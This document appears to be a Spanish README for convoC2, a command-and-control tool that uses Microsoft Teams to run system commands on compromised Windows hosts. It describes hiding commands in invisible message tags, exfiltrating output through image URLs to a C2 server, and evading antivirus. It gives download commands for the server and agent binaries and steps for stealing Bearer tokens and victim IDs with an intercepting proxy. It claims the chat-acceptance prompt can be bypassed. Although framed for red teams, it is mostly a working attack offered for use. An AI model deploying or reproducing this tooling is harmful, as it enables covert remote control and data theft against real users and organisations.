
Infraestructura C2 sobre Microsoft Teams.
Infraestructura de Command and Control que permite a los Red Teamers ejecutar comandos del sistema en hosts comprometidos a través de Microsoft Teams.
Infiltrа datos en etiquetas span ocultas en los mensajes de Microsoft Teams y exfiltra las salidas de los comandos en las URL de imágenes de Adaptive Cards, desencadenando solicitudes out-of-bound a un servidor C2.
La falta de comunicación directa entre la víctima y el atacante, combinada con el hecho de que la víctima solo envía solicitudes http a los servidores de Microsoft y que los antivirus no revisan los archivos de registro de MS Teams, dificulta la detección.

El siguiente vídeo demuestra el uso del servidor para controlar dos hosts comprometidos: uno ejecutando el nuevo Teams en Windows 11 y el otro ejecutando el antiguo Teams en Windows 10. En el primer caso, el atacante no está en la misma organización que la víctima.
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
Nota: En el primer caso la víctima ya había aceptado el chat con el atacante externo, pero en un escenario real en el que el atacante inicia el chat con la víctima por primera vez, la víctima tendría que confirmar el chat con el atacante (aunque este mensaje de alerta puede eludirse fácilmente, véase aquí). Esto no supone un problema: dado que los mensajes se almacenan en caché en el archivo de registro de todos modos, los comandos se reciben y ejecutan incluso si la víctima aún no ha visualizado ni aceptado el chat.
Servidor
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
Agente
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
Para que funcione, necesitarás configurar algunas cosas:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads con los ids únicos de la víctima y del atacante en el cuerpo. En la respuesta, el threadId se devolverá en la ruta de la url del encabezado Location.
El token Bearer de la misma solicitud se utiliza para autenticarse en https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages, que es el endpoint para enviar mensajes. Así que solo necesitamos obtener estas tres cosas y el servidor se encargará del resto.Después de iniciar el servidor puedes recibir nuevos agentes y controlarlos, usando los datos obtenidos previamente para la autenticación. Consulta la demo para ver un ejemplo de uso.
Antes que nada, necesitarás crear un canal de Teams.

Haz clic derecho en los tres puntos y luego haz clic en "Workflows".

En la barra de búsqueda escribe "Webhook" y haz clic en "Post to a channel when a webhook request is received".

Continúa con la configuración predeterminada y finalmente copia la url.

Comienza buscando a la víctima.

Después de seleccionar la cuenta de la víctima, con el proxy web interceptando las solicitudes, puedes enviar un mensaje de prueba.

Guarda los dos ids presentes en la solicitud api/chatsvc/emea/v1/threads y luego DESCARTA la solicitud. El token de autenticación será el token Bearer de la misma solicitud.
